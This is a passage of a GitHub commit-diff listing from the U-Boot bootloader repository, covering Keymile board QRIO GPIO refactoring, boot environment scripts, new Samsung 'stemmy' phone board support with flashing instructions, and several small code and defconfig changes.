"blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/km_arm.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/km_arm/km_arm.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/km_arm/km_arm.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -69,11 +69,7 @@ static const u32 kwmpp_config[] = {\n \tMPP4_NF_IO6,\n \tMPP5_NF_IO7,\n \tMPP6_SYSRST_OUTn,\n-#if defined(KM_PCIE_RESET_MPP7)\n-\tMPP7_GPO,\n-#else\n \tMPP7_PEX_RST_OUTn,\n-#endif\n #if defined(CONFIG_SYS_I2C_SOFT)\n \tMPP8_GPIO,\t\t/* SDA */\n \tMPP9_GPIO,\t\t/* SCL */"}<_**next**_>{"sha": "5523ee99aae832de3c90213dfe1ae79ada27cc65", "filename": "board/keymile/kmp204x/Makefile", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/kmp204x/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -6,5 +6,5 @@\n # See file CREDITS for list of people who contributed to this\n # project.\n \n-obj-y\t:= kmp204x.o ddr.o eth.o tlb.o pci.o law.o qrio.o \\\n-\t../common/common.o ../common/ivm.o\n+obj-y\t:= kmp204x.o ddr.o eth.o tlb.o pci.o law.o ../common/common.o\\\n+\t\t../common/ivm.o ../common/qrio.o"}<_**next**_>{"sha": "0a6cf1fd29a06e096aba336a9c188d3f0498a575", "filename": "board/keymile/kmp204x/kmp204x.c", "status": "modified", "additions": 3, "deletions": 47, "changes": 50, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/kmp204x.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/kmp204x.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/kmp204x/kmp204x.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -24,6 +24,7 @@\n #include <fm_eth.h>\n \n #include \"../common/common.h\"\n+#include \"../common/qrio.h\"\n #include \"kmp204x.h\"\n \n static uchar ivm_content[CONFIG_SYS_IVM_EEPROM_MAX_LEN];\n@@ -35,51 +36,6 @@ int checkboard(void)\n \treturn 0;\n }\n \n-/* I2C deblocking uses the algorithm defined in board/keymile/common/common.c\n- * 2 dedicated QRIO GPIOs externally pull the SCL and SDA lines\n- * For I2C only the low state is activly driven and high state is pulled-up\n- * by a resistor. Therefore the deblock GPIOs are used\n- * -> as an active output to drive a low state\n- * -> as an open-drain input to have a pulled-up high state\n- */\n-\n-/* QRIO GPIOs used for deblocking */\n-#define DEBLOCK_PORT1\tGPIO_A\n-#define DEBLOCK_SCL1\t20\n-#define DEBLOCK_SDA1\t21\n-\n-/* By default deblock GPIOs are floating */\n-static void i2c_deblock_gpio_cfg(void)\n-{\n-\t/* set I2C bus 1 deblocking GPIOs input, but 0 value for open drain */\n-\tqrio_gpio_direction_input(DEBLOCK_PORT1, DEBLOCK_SCL1);\n-\tqrio_gpio_direction_input(DEBLOCK_PORT1, DEBLOCK_SDA1);\n-\n-\tqrio_set_gpio(DEBLOCK_PORT1, DEBLOCK_SCL1, 0);\n-\tqrio_set_gpio(DEBLOCK_PORT1, DEBLOCK_SDA1, 0);\n-}\n-\n-void set_sda(int state)\n-{\n-\tqrio_set_opendrain_gpio(DEBLOCK_PORT1, DEBLOCK_SDA1, state);\n-}\n-\n-void set_scl(int state)\n-{\n-\tqrio_set_opendrain_gpio(DEBLOCK_PORT1, DEBLOCK_SCL1, state);\n-}\n-\n-int get_sda(void)\n-{\n-\treturn qrio_get_gpio(DEBLOCK_PORT1, DEBLOCK_SDA1);\n-}\n-\n-int get_scl(void)\n-{\n-\treturn qrio_get_gpio(DEBLOCK_PORT1, DEBLOCK_SCL1);\n-}\n-\n-\n #define ZL30158_RST\t8\n #define BFTIC4_RST\t0\n #define RSTRQSR1_WDT_RR\t0x00200000\n@@ -138,7 +94,7 @@ int board_early_init_r(void)\n \t/* enable Application Buffer */\n \tqrio_enable_app_buffer();\n \n-\treturn ret;\n+\treturn 0;\n }\n \n unsigned long get_board_sys_clk(unsigned long dummy)\n@@ -297,7 +253,7 @@ int ft_board_setup(void *blob, bd_t *bd)\n #if defined(CONFIG_POST)\n \n /* DIC26_SELFTEST GPIO used to start factory test sw */\n-#define SELFTEST_PORT\tGPIO_A\n+#define SELFTEST_PORT\tQRIO_GPIO_A\n #define SELFTEST_PIN\t31\n \n int post_hotkeys_pressed(void)"}<_**next**_>{"sha": "00e1a0666205a98727945d3ba1dc46f33914345f", "filename": "board/keymile/kmp204x/kmp204x.h", "status": "modified", "additions": 0, "deletions": 26, "changes": 26, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/kmp204x.h", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/kmp204x.h", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/kmp204x/kmp204x.h?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -4,31 +4,5 @@\n * Valentin Longchamp <valentin.longchamp@keymile.com>\n */\n \n-/* QRIO GPIO ports */\n-#define GPIO_A\t\t\t0x40\n-#define GPIO_B\t\t\t0x60\n-\n-int qrio_get_gpio(u8 port_off, u8 gpio_nr);\n-void qrio_set_opendrain_gpio(u8 port_off, u8 gpio_nr, u8 val);\n-void qrio_set_gpio(u8 port_off, u8 gpio_nr, bool value);\n-void qrio_gpio_direction_output(u8 port_off, u8 gpio_nr, bool value);\n-void qrio_gpio_direction_input(u8 port_off, u8 gpio_nr);\n-\n-#define PRSTCFG_POWUP_UNIT_CORE_RST\t0x0\n-#define PRSTCFG_POWUP_UNIT_RST\t\t0x1\n-#define PRSTCFG_POWUP_RST\t\t0x3\n-\n-void qrio_prst(u8 bit, bool en, bool wden);\n-void qrio_wdmask(u8 bit, bool wden);\n-void qrio_prstcfg(u8 bit, u8 mode);\n-void qrio_set_leds(void);\n-void qrio_enable_app_buffer(void);\n-void qrio_cpuwd_flag(bool flag);\n-int qrio_reset_reason(void);\n-\n-#define UPREQ_UNIT_RST\t\t0x0\n-#define UPREQ_CORE_RST\t\t0x1\n-\n-void qrio_uprstreq(u8 mode);\n \n void pci_of_setup(void *blob, bd_t *bd);"}<_**next**_>{"sha": "15bbc810a1b650cc64ea1576d8652863469033c6", "filename": "board/keymile/kmp204x/pci.c", "status": "modified", "additions": 8, "deletions": 7, "changes": 15, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/pci.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/kmp204x/pci.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/kmp204x/pci.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -16,13 +16,14 @@\n #include <asm/fsl_serdes.h>\n #include <linux/errno.h>\n \n+#include \"../common/qrio.h\"\n #include \"kmp204x.h\"\n \n #define PROM_SEL_L\t11\n /* control the PROM_SEL_L signal*/\n static void toggle_fpga_eeprom_bus(bool cpu_own)\n {\n-\tqrio_gpio_direction_output(GPIO_A, PROM_SEL_L, !cpu_own);\n+\tqrio_gpio_direction_output(QRIO_GPIO_A, PROM_SEL_L, !cpu_own);\n }\n \n #define CONF_SEL_L\t10\n@@ -40,17 +41,17 @@ int trigger_fpga_config(void)\n \ttoggle_fpga_eeprom_bus(false);\n \n \t/* assert CONF_SEL_L to be able to drive FPGA_PROG_L */\n-\tqrio_gpio_direction_output(GPIO_A, CONF_SEL_L, 0);\n+\tqrio_gpio_direction_output(QRIO_GPIO_A, CONF_SEL_L, 0);\n \n \t/* trigger the config start */\n-\tqrio_gpio_direction_output(GPIO_A, FPGA_PROG_L, 0);\n+\tqrio_gpio_direction_output(QRIO_GPIO_A, FPGA_PROG_L, 0);\n \n \t/* small delay for INIT_L line */\n \tudelay(10);\n \n \t/* wait for FPGA_INIT to be asserted */\n \tdo {\n-\t\tinit_l = qrio_get_gpio(GPIO_A, FPGA_INIT_L);\n+\t\tinit_l = qrio_get_gpio(QRIO_GPIO_A, FPGA_INIT_L);\n \t\tif (timeout-- == 0) {\n \t\t\tprintf(\"FPGA_INIT timeout\\n\");\n \t\t\tret = -EFAULT;\n@@ -60,7 +61,7 @@ int trigger_fpga_config(void)\n \t} while (init_l);\n \n \t/* deassert FPGA_PROG, config should start */\n-\tqrio_set_gpio(GPIO_A, FPGA_PROG_L, 1);\n+\tqrio_set_gpio(QRIO_GPIO_A, FPGA_PROG_L, 1);\n \n \treturn ret;\n }\n@@ -74,7 +75,7 @@ static int wait_for_fpga_config(void)\n \n \tprintf(\"PCIe FPGA config:\");\n \tdo {\n-\t\tdone = qrio_get_gpio(GPIO_A, FPGA_DONE);\n+\t\tdone = qrio_get_gpio(QRIO_GPIO_A, FPGA_DONE);\n \t\tif (timeout-- == 0) {\n \t\t\tprintf(\" FPGA_DONE timeout\\n\");\n \t\t\tret = -EFAULT;\n@@ -87,7 +88,7 @@ static int wait_for_fpga_config(void)\n \n err_out:\n \t/* deactive CONF_SEL and give the CPU conf EEPROM access */\n-\tqrio_set_gpio(GPIO_A, CONF_SEL_L, 1);\n+\tqrio_set_gpio(QRIO_GPIO_A, CONF_SEL_L, 1);\n \ttoggle_fpga_eeprom_bus(true);\n \n \treturn ret;"}<_**next**_>{"sha": "f77a26abe8d82351972dda36176a2b7013714152", "filename": "board/keymile/scripts/develop-common.txt", "status": "modified", "additions": 3, "deletions": 1, "changes": 4, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/scripts/develop-common.txt", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/scripts/develop-common.txt", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/scripts/develop-common.txt?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -1,10 +1,12 @@\n altbootcmd=run ${subbootcmds}\n bootcmd=run ${subbootcmds}\n-configure=run set_uimage; setenv tftppath ${IVM_Symbol} ; km_setboardid && saveenv && reset\n+configure=run set_uimage; run set_tftppath; km_setboardid && run try_import_nfs_path && saveenv && reset\n subbootcmds=tftpfdt tftpkernel nfsargs add_default boot\n nfsargs=setenv bootargs root=/dev/nfs rw nfsroot=${serverip}:${toolchain}/${arch}\n tftpfdt=if run set_fdthigh || test ${arch} != arm; then if tftpboot ${fdt_addr_r} ${tftppath}/fdt_0x${IVM_BoardId}_0x${IVM_HWKey}.dtb; then; else tftpboot ${fdt_addr_r} ${tftppath}/${hostname}.dtb; fi; else true; fi\n tftpkernel=tftpboot ${load_addr_r} ${tftppath}/${uimage}\n toolchain=/opt/eldk\n rootfssize=0\n set_uimage=printenv uimage || setenv uimage uImage\n+set_tftppath=if test ${hostname} = kmcoge5un; then setenv tftppath CI5UN; else if test ${hostname} = kmcoge5ne; then setenv tftppath CI5NE; else setenv tftppath ${IVM_Symbol}; fi; fi\n+try_import_nfs_path=if tftpboot 0x200000 ${tftppath}/nfs-path.txt; then env import -t 0x200000 ${filesize}; else echo no auto nfs path imported; echo you can set nfsargs in /tftpboot/${tftppath}/nfs-path.txt and rerun develop; fi"}<_**next**_>{"sha": "290c602aabc2b3d0782d4a5bb86f8310ac63e6db", "filename": "board/keymile/scripts/ramfs-common.txt", "status": "modified", "additions": 8, "deletions": 6, "changes": 14, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/scripts/ramfs-common.txt", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/keymile/scripts/ramfs-common.txt", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/keymile/scripts/ramfs-common.txt?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -2,12 +2,14 @@ addramfs=setenv bootargs \"${bootargs} phram.phram=rootfs${boot_bank},${rootfsadd\n boot_bank=-1\n altbootcmd=run ${subbootcmds}\n bootcmd=run ${subbootcmds}\n-subbootcmds=tftpfdt tftpkernel setrootfsaddr tftpramfs flashargs add_default addpanic addramfs boot\n+subbootcmds=save_and_reset_once tftpfdt tftpkernel setrootfsaddr tftpramfs flashargs add_default addpanic addramfs boot\n+save_and_reset_once=setenv save_and_reset_once true && save && reset\n nfsargs=setenv bootargs root=/dev/nfs rw nfsroot=${serverip}:${rootpath}\n-configure=run set_uimage; km_setboardid && saveenv && reset\n-rootfsfile=${hostname}/rootfsImage\n+configure=run set_uimage; run set_tftppath; km_setboardid && run try_import_rootfssize && saveenv && reset\n setrootfsaddr=setexpr value ${pnvramaddr} - ${rootfssize} && setenv rootfsaddr 0x${value}\n-tftpfdt=if run set_fdthigh || test ${arch} != arm; then tftpboot ${fdt_addr_r} ${hostname}/${hostname}.dtb; else true; fi\n-tftpkernel=tftpboot ${load_addr_r} ${hostname}/${uimage}\n-tftpramfs=tftpboot ${rootfsaddr} ${hostname}/rootfsImage\n+tftpfdt=if run set_fdthigh || test ${arch} != arm; then if tftpboot ${fdt_addr_r} ${tftppath}/fdt_0x${IVM_BoardId}_0x${IVM_HWKey}.dtb; then; else tftpboot ${fdt_addr_r} ${tftppath}/${hostname}.dtb; fi; else true; fi\n+tftpkernel=tftpboot ${load_addr_r} ${tftppath}/${uimage}\n+tftpramfs=tftpboot ${rootfsaddr} ${tftppath}/rootfsImage\n set_uimage=printenv uimage || setenv uimage uImage\n+set_tftppath=if test ${hostname} = kmcoge5un; then setenv tftppath CI5UN; else if test ${hostname} = kmcoge5ne; then setenv tftppath CI5NE; else setenv tftppath ${IVM_Symbol}; fi; fi\n+try_import_rootfssize=if tftpboot 0x200000 ${tftppath}/rootfssize.txt; then env import -t 0x200000 ${filesize}; else echo no auto rootfs size; echo you can set rootfssize in /tftpboot/${tftppath}/rootfssize.txt and rerun ramfs; fi"}<_**next**_>{"sha": "b890ba51cb035cc1892707ddefd0a4d461621712", "filename": "board/ste/stemmy/Kconfig", "status": "added", "additions": 12, "deletions": 0, "changes": 12, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/Kconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/Kconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/ste/stemmy/Kconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,12 @@\n+if TARGET_STEMMY\n+\n+config SYS_BOARD\n+\tdefault \"stemmy\"\n+\n+config SYS_VENDOR\n+\tdefault \"ste\"\n+\n+config SYS_CONFIG_NAME\n+\tdefault \"stemmy\"\n+\n+endif"}<_**next**_>{"sha": "37daabea9c4196426a9b804682bd91a35eb5642e", "filename": "board/ste/stemmy/MAINTAINERS", "status": "added", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/MAINTAINERS", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/MAINTAINERS", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/ste/stemmy/MAINTAINERS?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,6 @@\n+STEMMY BOARD\n+M:\tStephan Gerhold <stephan@gerhold.net>\n+S:\tMaintained\n+F:\tboard/ste/stemmy/\n+F:\tinclude/configs/stemmy.h\n+F:\tconfigs/stemmy_defconfig"}<_**next**_>{"sha": "1245099bc918c415059c9a9be57d90671b70459a", "filename": "board/ste/stemmy/Makefile", "status": "added", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/Makefile", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/Makefile", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/ste/stemmy/Makefile?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,2 @@\n+# SPDX-License-Identifier: GPL-2.0-or-later\n+obj-y\t:= stemmy.o"}<_**next**_>{"sha": "81f72426f209e1acdc24203d9d6155c407735f30", "filename": "board/ste/stemmy/README", "status": "added", "additions": 49, "deletions": 0, "changes": 49, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/README", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/README", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/ste/stemmy/README?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,49 @@\n+ST-Ericsson U8500 Samsung \"stemmy\" board\n+========================================\n+\n+The \"stemmy\" board supports Samsung smartphones released with\n+the ST-Ericsson NovaThor U8500 SoC, e.g.\n+\n+\t- Samsung Galaxy S III mini (GT-I8190)\t\"golden\"\n+\t- Samsung Galaxy S Advance (GT-I9070)\t\"janice\"\n+\t- Samsung Galaxy Xcover 2 (GT-S7710)\t\"skomer\"\n+\n+and likely others as well (untested).\n+\n+At the moment, U-Boot is intended to be chain-loaded from\n+the original Samsung bootloader, not replacing it entirely.\n+\n+Installation\n+------------\n+\n+1. Setup cross compiler, e.g. export CROSS_COMPILE=arm-none-eabi-\n+2. make stemmy_defconfig\n+3. make\n+\n+For newer devices (golden and skomer), the U-Boot binary has to be packed into\n+an Android boot image. janice boots the raw U-Boot binary from the boot partition.\n+\n+4. Obtain mkbootimg, e.g. https://android.googlesource.com/platform/system/core/+/refs/tags/android-7.1.2_r37/mkbootimg/mkbootimg\n+5. mkbootimg \\\n+ --kernel=u-boot.bin \\\n+ --base=0x00000000 \\\n+ --kernel_offset=0x00100000 \\\n+ --ramdisk_offset=0x02000000 \\\n+ --tags_offset=0x00000100 \\\n+ --output=u-boot.img\n+\n+6. Enter Samsung download mode (press Power + Home + Volume Down)\n+7. Flash U-Boot image to Android boot partition using Heimdall:\n+ https://gitlab.com/BenjaminDobell/Heimdall\n+\n+ heimdall flash --Kernel u-boot.(bin|img)\n+\n+8. After reboot U-Boot prompt should appear via UART.\n+\n+UART\n+----\n+\n+UART is available through the micro USB port, similar to the Carkit standard.\n+With a ~619kOhm resistor between ID and GND, 1.8V RX/TX is available at D+/D-.\n+\n+Make sure to connect the UART cable *before* turning on the phone."}<_**next**_>{"sha": "8cf6f187551d5ff0c479e99938da72464384f750", "filename": "board/ste/stemmy/stemmy.c", "status": "added", "additions": 18, "deletions": 0, "changes": 18, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/stemmy.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/board/ste/stemmy/stemmy.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/board/ste/stemmy/stemmy.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,18 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright (C) 2019 Stephan Gerhold <stephan@gerhold.net>\n+ */\n+#include <common.h>\n+\n+DECLARE_GLOBAL_DATA_PTR;\n+\n+int dram_init(void)\n+{\n+\tgd->ram_size = get_ram_size(CONFIG_SYS_SDRAM_BASE, CONFIG_SYS_SDRAM_SIZE);\n+\treturn 0;\n+}\n+\n+int board_init(void)\n+{\n+\treturn 0;\n+}"}<_**next**_>{"sha": "53af04d7dc75bdef091c34f7d94c7d97ace60777", "filename": "cmd/pxe_utils.c", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/cmd/pxe_utils.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/cmd/pxe_utils.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/cmd/pxe_utils.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -1312,7 +1312,8 @@ void handle_pxe_menu(cmd_tbl_t *cmdtp, struct pxe_menu *cfg)\n \t/* display BMP if available */\n \tif (cfg->bmp) {\n \t\tif (get_relfile(cmdtp, cfg->bmp, image_load_addr)) {\n-\t\t\trun_command(\"cls\", 0);\n+\t\t\tif (CONFIG_IS_ENABLED(CMD_CLS))\n+\t\t\t\trun_command(\"cls\", 0);\n \t\t\tbmp_display(image_load_addr,\n \t\t\t\t BMP_ALIGN_CENTER, BMP_ALIGN_CENTER);\n \t\t} else {"}<_**next**_>{"sha": "9c237a5758d430e15f7d808de6851e2e5c7697c6", "filename": "cmd/zfs.c", "status": "modified", "additions": 0, "deletions": 1, "changes": 1, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/cmd/zfs.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/cmd/zfs.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/cmd/zfs.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -40,7 +40,6 @@ static int do_zfs_load(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[]\n \tulong addr = 0;\n \tdisk_partition_t info;\n \tstruct blk_desc *dev_desc;\n-\tchar buf[12];\n \tunsigned long count;\n \tconst char *addr_str;\n \tstruct zfs_file zfile;"}<_**next**_>{"sha": "f7c8a173ffb9381acdb1ddb73a61f79d879d448e", "filename": "common/init/board_init.c", "status": "modified", "additions": 0, "deletions": 2, "changes": 2, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/common/init/board_init.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/common/init/board_init.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/common/init/board_init.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -157,8 +157,6 @@ void board_init_f_init_reserve(ulong base)\n #if CONFIG_VAL(SYS_MALLOC_F_LEN)\n \t/* go down one 'early malloc arena' */\n \tgd->malloc_base = base;\n-\t/* next alloc will be higher by one 'early malloc arena' size */\n-\tbase += CONFIG_VAL(SYS_MALLOC_F_LEN);\n #endif\n \n \tif (CONFIG_IS_ENABLED(SYS_REPORT_STACK_F_USAGE))"}<_**next**_>{"sha": "aef1dbdd49acf6722afee4e4abc9f97b8b6ec04c", "filename": "common/spl/spl_fit.c", "status": "modified", "additions": 3, "deletions": 5, "changes": 8, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/common/spl/spl_fit.c", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/common/spl/spl_fit.c", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/common/spl/spl_fit.c?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -259,11 +259,9 @@ static int spl_load_fit_image(struct spl_load_info *info, ulong sector,\n \t\t\tdebug(\"%s \", genimg_get_type_name(type));\n \t}\n \n-\tif (IS_ENABLED(CONFIG_SPL_OS_BOOT) && IS_ENABLED(CONFIG_SPL_GZIP)) {\n-\t\tif (fit_image_get_comp(fit, node, &image_comp))\n-\t\t\tputs(\"Cannot get image compression format.\\n\");\n-\t\telse\n-\t\t\tdebug(\"%s \", genimg_get_comp_name(image_comp));\n+\tif (IS_ENABLED(CONFIG_SPL_GZIP)) {\n+\t\tfit_image_get_comp(fit, node, &image_comp);\n+\t\tdebug(\"%s \", genimg_get_comp_name(image_comp));\n \t}\n \n \tif (fit_image_get_load(fit, node, &load_addr))"}<_**next**_>{"sha": "4a4c1fd1c74f36f3c4c88b86d1ffa14806f0075f", "filename": "configs/bcm968360bg_ram_defconfig", "status": "added", "additions": 53, "deletions": 0, "changes": 53, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/bcm968360bg_ram_defconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/bcm968360bg_ram_defconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/configs/bcm968360bg_ram_defconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,53 @@\n+CONFIG_ARM=y\n+CONFIG_ARCH_BCM68360=y\n+CONFIG_SYS_TEXT_BASE=0x10000000\n+CONFIG_SYS_MALLOC_F_LEN=0x8000\n+CONFIG_ENV_SIZE=0x2000\n+CONFIG_NR_DRAM_BANKS=1\n+CONFIG_TARGET_BCM968360BG=y\n+CONFIG_ENV_VARS_UBOOT_CONFIG=y\n+CONFIG_FIT=y\n+CONFIG_FIT_SIGNATURE=y\n+CONFIG_FIT_VERBOSE=y\n+CONFIG_LEGACY_IMAGE_FORMAT=y\n+CONFIG_SUPPORT_RAW_INITRD=y\n+CONFIG_DISPLAY_BOARDINFO_LATE=y\n+CONFIG_HUSH_PARSER=y\n+CONFIG_CMD_GPIO=y\n+CONFIG_CMD_MTD=y\n+CONFIG_CMD_NAND=y\n+CONFIG_CMD_PART=y\n+CONFIG_CMD_SPI=y\n+CONFIG_DOS_PARTITION=y\n+CONFIG_ISO_PARTITION=y\n+CONFIG_EFI_PARTITION=y\n+CONFIG_DEFAULT_DEVICE_TREE=\"bcm968360bg\"\n+CONFIG_SYS_RELOC_GD_ENV_ADDR=y\n+# CONFIG_NET is not set\n+CONFIG_BLK=y\n+CONFIG_CLK=y\n+CONFIG_DM_GPIO=y\n+CONFIG_BCM6345_GPIO=y\n+CONFIG_LED=y\n+CONFIG_LED_BCM6858=y\n+CONFIG_LED_BLINK=y\n+# CONFIG_MMC is not set\n+CONFIG_MTD=y\n+CONFIG_DM_MTD=y\n+CONFIG_MTD_RAW_NAND=y\n+CONFIG_NAND_BRCMNAND=y\n+CONFIG_NAND_BRCMNAND_68360=y\n+CONFIG_DM_SPI_FLASH=y\n+CONFIG_SPI_FLASH_SFDP_SUPPORT=y\n+CONFIG_SPI_FLASH_MACRONIX=y\n+CONFIG_SPECIFY_CONSOLE_INDEX=y\n+CONFIG_CONS_INDEX=0\n+CONFIG_DM_SERIAL=y\n+CONFIG_SERIAL_SEARCH_ALL=y\n+CONFIG_BCM6345_SERIAL=y\n+CONFIG_SPI=y\n+CONFIG_DM_SPI=y\n+CONFIG_BCM63XX_HSSPI=y\n+CONFIG_SYSRESET=y\n+CONFIG_SYSRESET_WATCHDOG=y\n+CONFIG_WDT_BCM6345=y"}<_**next**_>{"sha": "e6726ebd0c6509a46a56a60a288648788e35a33f", "filename": "configs/kmsuse2_defconfig", "status": "renamed", "additions": 6, "deletions": 5, "changes": 11, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/kmsuse2_defconfig", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/configs/kmsuse2_defconfig", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/configs/kmsuse2_defconfig?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -5,13 +5,14 @@ CONFIG_KIRKWOOD=y\n CONFIG_SYS_TEXT_BASE=0x07d00000\n CONFIG_TARGET_KM_KIRKWOOD=y\n CONFIG_KM_FPGA_CONFIG=y\n+CONFIG_KM_FPGA_FORCE_CONFIG=y\n+CONFIG_KM_FPGA_NO_RESET=y\n CONFIG_KM_ENV_IS_IN_SPI_NOR=y\n-CONFIG_KM_PIGGY4_88E6352=y\n CONFIG_ENV_SIZE=0x2000\n-CONFIG_ENV_SECT_SIZE=0x10000\n CONFIG_ENV_OFFSET=0xC0000\n-CONFIG_IDENT_STRING=\"\\nKeymile SUGP1\"\n-CONFIG_SYS_EXTRA_OPTIONS=\"KM_SUGP1\"\n+CONFIG_ENV_SECT_SIZE=0x10000\n+CONFIG_IDENT_STRING=\"\\nABB SUSE2\"\n+CONFIG_SYS_EXTRA_OPTIONS=\"KM_SUSE2\"\n CONFIG_MISC_INIT_R=y\n CONFIG_VERSION_VARIABLE=y\n # CONFIG_DISPLAY_BOARDINFO is not set\n@@ -48,7 +49,7 @@ CONFIG_MTD=y\n CONFIG_MTD_RAW_NAND=y\n CONFIG_SF_DEFAULT_SPEED=8100000\n 